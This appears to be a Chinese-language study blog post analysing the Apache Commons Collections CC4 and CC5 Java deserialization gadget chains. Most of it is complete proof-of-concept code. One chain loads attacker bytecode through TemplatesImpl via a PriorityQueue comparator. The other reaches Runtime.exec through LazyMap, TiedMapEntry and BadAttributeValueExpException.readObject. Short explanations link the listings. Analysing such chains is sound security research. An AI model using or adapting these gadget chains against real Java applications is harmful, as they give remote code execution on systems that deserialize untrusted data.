CC4+CC5分析利用
CC4分析與利用
學了前面的cc2,其實cc4就是將cc2使用的InvokerTransformer替換成InstantiateTransformer來載入位元組碼(CC3裡面有說)。
把最後呼叫的transform方法改為:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tem})
};
ChainedTransformer cha = new ChainedTransformer(transformers);
poc
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC4 {
public static void main(String[] args)throws Exception {
TemplatesImpl tem =new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));
setValue(tem, "_bytecodes", new byte[][]{code});
setValue(tem, "_tfactory", new TransformerFactoryImpl());
setValue(tem, "_name", "gaoren");
setValue(tem, "_class", null);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tem})
};
ChainedTransformer cha = new ChainedTransformer(transformers);
PriorityQueue queue = new PriorityQueue(1);
queue.add(1);
queue.add(1);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,new TransformingComparator(cha));
Object[] queue_array = new Object[]{tem,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
serilize(queue);
deserilize("ser.bin");
}
public static void serilize(Object obj)throws IOException {
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
public static void setValue(Object obj,String fieldName,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
CC5分析與利用
前面學習了cc6知道cc6是接著cc1的LazyMap.get向上走的,透過TiedMapEntry中的getValue呼叫get,在利用hashcode呼叫getValue,最後和URLDNS一樣觸發到hashcode。
分析
TiedMapEntry#toString
其實在TiedMapEntry類中還有toString也能呼叫getValue函式:
構造試試
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
public class CC5test {
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer cha = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> Lazy = LazyMap.decorate(map,cha);
TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");
Tie.toString();
}
}
BadAttributeValueExpException#readObject
那麼接下來就是看哪裡呼叫了toStirng
方法,這個確實有點多不用找了,直接看ysoserial的cc4中給出了類BadAttributeValueExpException
,
直接到了readObject
方法,所以這裡我們需要控制valObj為TiedMapEntry
物件就行了。
發現valObj是透過gf.get
方法獲取的:
我們只需要將val型別變數賦值為TiedMapEntry
物件即可
但發現其建構函式也會呼叫toString
所以為了解決這種提前觸發,和前面鏈子的思路一樣,先給val隨便賦個值或者為null,然後在利用反射修改val為TiedMapEntry
物件。
poc
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
public class CC5test {
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer cha = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> Lazy = LazyMap.decorate(map,cha);
TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field v = val.getClass().getDeclaredField("val");
v.setAccessible(true);
v.set(val, Tie);
serilize(val);
deserilize("111.bin");
}
public static void serilize(Object obj)throws IOException {
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
}
番外
發現BadAttributeValueExpException
沒有實現序列化介面,但還是能進行序列化,
這是因為BadAttributeValueExpException
類繼承了Exception
類,Exception
類又繼承了Throwable
類,而Throwable
類實現了Serializable
介面。
參考:https://nivi4.notion.site/Java-CommonCollections5-f8fd6a9220de46b7954664bb97109d9f
參考:https://www.cnblogs.com/1vxyz/p/17473581.html